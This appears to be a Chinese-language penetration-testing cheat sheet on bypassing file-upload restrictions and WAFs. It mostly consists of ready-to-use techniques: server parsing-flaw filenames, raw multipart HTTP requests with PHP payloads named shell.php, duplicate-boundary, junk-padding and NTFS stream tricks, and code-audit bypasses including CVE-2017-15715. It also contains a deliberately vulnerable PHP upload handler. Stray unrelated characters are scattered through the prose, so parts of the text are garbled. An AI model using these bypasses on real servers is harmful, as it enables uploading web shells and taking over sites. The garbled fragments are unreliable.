中間件可解析的后綴
語言 | 可解析后綴 |
---|---|
asp/aspx | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
中間件漏洞
IIS
- IIS6.0文件解析 xx.asp;.jpg
- IIS6.0目錄解析 xx.asp/1.jpg
- IIS 7.0畸形解析 xxx.jpg/x.asp
Apache
- %0a(CVE-2017-15715)
- 未知后綴 test.php.xxx
Nginx
- 訪問連接加/xxx.php test.jpg/xxx.php
- 畸形解析漏洞 test.jpg%00xxx.php或test.jpg%20.php
- CVE-2013-4547 test.jpg(非編碼空格)\0x.php
Tomcat
- xxx.jsp/
- xxx.jsp%20
- xxx.jsp::$DATA
一個完整的Http request header:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
Content-Length: 328
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"
upload
-----------------------------24464570528145--
針對檢查Request header的bypass
一般WAF檢查兩個點:
1. Content-Disposition: form-data; name="file_x"; filename="xx.jpg"
2. Content-Type:image/gif
0x01 引號處
name 和 filename 的兩個雙引號都是可以去掉循头,也可以改成單引號对湃。
0x02 大小寫
- Content-Disposition
- name
- filename
這三個關(guān)鍵詞都可以進(jìn)行大小寫轉(zhuǎn)換
0x03 加空格
在: ; =
前后加一個或多個空格(filename后的等號前不要加)
0x04 去掉或修改Content-Disposition的值
如Content-Disposition: name="file_x"; filename="xx.jpg"
0x05 交換name和filename的順序
name,filename順序可以交換承边,但Content-Disposition必須在最前面
0x06 多個boundary
添加多個boundary,會上傳最后一個boundary的值,如果WAF只讀取第一個即可繞過(IIS會取第一個Content-Disposition的值)
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript
<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript
<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"
upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
0x07 多個filename
最終成功上傳shell.php,但正則匹配會匹配第一個
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="shell.php"
0x08 多個分號
文件解析時,可能解析不到文件名,導(dǎo)致繞過。
Content-Disposition: form-data; name="file_x";;; filename="test.php"
0x09 在boundary前加字符
例如
Content-Type: multipart/form-data; bypass2222233333boundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
0x10 filename換行
filename處隨意換行:
Content-Disposition: form-data; name="file_x"; fi lename="test.php"
0x11 在name和filename之間添加任意字符串
Content-Disposition: name="file_x"; bypass waf upload222333; filename="test.php";
0x12 IIS6.0下更改正文格式
可以將filename放到Content_Type下面去,如:
Content-Disposition: form-data; name="file_x";
Content-Type: application/octet-stream
filename="1.php"
0x13 Windows特殊字符
- 上傳filename為shell.php{%80-%99}
(在burpsuite的hex模塊更改) - 將[shell].php改成ascii>127的字符
0x14 NTFS ADS特性
上傳文件名 | 服務(wù)器表明現(xiàn)象 | 生成的文件內(nèi)容 |
---|---|---|
test.php:a.jpg | 生成test.php | 空 |
test.php::$INDEX_ALLOCATION | 生成test.php文件夾 | Null |
test.php::$DATA | 生成test.php | <?phpinfo;?> |
test.php::$DATA.jpg | 生成0.jpg | <?phpinfo;?> |
test.php::$DATA\aaa.jpg | 生成aaa.jpg | <?phpinfo;?> |
0x15 不同的Boundary(IIS6.0+ASP)
-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------244aaaaaaaaaa5
Content-Disposition: form-data; name="submit_x"
upload
-----------------------------24464570528145--
0x16 數(shù)據(jù)過長導(dǎo)致繞過
-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd*10000000(此處省略...); filename="1.php"
Content-Type: application/octet-stream
<?php
phpinfo();
?>
-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"
upload
-----------------------------24464570528145--
或者構(gòu)造長文件名,不一定是'.',還可以是別的符號比如中文字符和emoji耐薯,要足夠多,可能繞過文件重命名:
filename="shell.............................................................php"
針對文件內(nèi)容驗證繞過
0x01 檢測文件頭
即校驗content-type(image/gif)
常見文件頭
文件格式 | 文件頭 |
---|---|
jpg jpe jpeg | JPGGraphic File |
gif | GIF 89A |
zip | Zip Compressed |
doc xls xlt ppt apr | MS Compound Document v1 or Lotus Approach APRfile |
0x02 垃圾數(shù)據(jù)
有些WAF為了效率,會對檢驗的用戶數(shù)據(jù)設(shè)置上限隘世,比如1M可柿,那么我們可以在數(shù)據(jù)包里添加垃圾數(shù)據(jù),使前1M都是垃圾數(shù)據(jù)丙者,后面的才是有效語句复斥。
-----------------------------24464570528145
Content-Disposition: form-data; name="file_x"; filename="1.php"
Content-Type: application/octet-stream
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaa使勁加
<?php
phpinfo();
?>
-----------------------------24464570528145
Content-Disposition: form-data; name="submit_x"
upload
-----------------------------24464570528145--
0x03 提交方法混淆
有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型,則校驗數(shù)據(jù)包內(nèi)容械媒。此種情況可以上傳一個POST型的數(shù)據(jù)包目锭,抓包將POST改為GET。然后仍然傳輸POST的數(shù)據(jù)
代碼審計中的文件上傳
關(guān)注empty(),iconv(),copy()等函數(shù)
- iconv() 在轉(zhuǎn)換字符串編碼時會出現(xiàn)截斷問題:
$filename="shell.php(hex).jpg"
hex為0x80-0x99經(jīng)過iconv轉(zhuǎn)碼后會變成$filename="shell.php ";
- file_put_contents()在寫入文件時的第二個參數(shù)可以傳入數(shù)組纷捞,如果是數(shù)組的話痢虹,將被連接成字符串再進(jìn)行寫入。在正則匹配前主儡,傳入的是一個數(shù)組奖唯。得益于PHP的弱類型特性,數(shù)組會被強(qiáng)制轉(zhuǎn)換成字符串糜值,也就是Array丰捷,Array肯定是滿足正則
\A[ _a-zA-Z0-9]+\z
的,所以不會被攔截寂汇。這樣就可以繞過類似檢測“<?”
之類的waf - 當(dāng)file_put_contents病往、copy、file_get_contents等讀取寫入操作與unlink骄瓣、file_exists等刪除判斷文件函數(shù)之間對于路徑處理的差異導(dǎo)致的刪除繞過:
<?php
$user=$_GET['user'];
var_dump($user);
echo $user['name'];
$filename = __DIR__.'\\'.$user['name'];
echo $filename;
$data = $user['info'];
file_put_contents($filename, $data);
if(file_exists($filename)){
unlink($filename);
}
當(dāng)file_put_contents和file_exists停巷、unlink等一起使用時可是導(dǎo)致繞過。
所以,linux可以通過xxxxx/../test.php畔勤、test.php/. 來繞過刪除
windows可以通過test.php:test test.ph<來繞過文件刪除
拿windows實例:
http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 會生成2.php
http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 會寫入內(nèi)容
最新的Apache(2.4.0-2.4.29)解析漏洞CVE-2017-15715(P師傅)
如今的apache以及無法解析shell.php.xxxxx類似的文件的蕾各。
利用條件:
獲取文件名時不能用$_FILES['file']['name']
因為他會自動把換行去掉,這一點有點雞肋
但如果服務(wù)端是使用黑名單限制上傳文件格式的,如:
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
我們上傳一個包含換行符的文件即可繞過,即在burpsuite中shell.php后面添加一個hex格式的0A,
然后訪問1.php%0A即可硼被。
https://joychou.org/web/bypass-waf-of-file-upload.html
https://www.freebuf.com/column/161357.html
http://www.am0s.com/functions/386.html
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html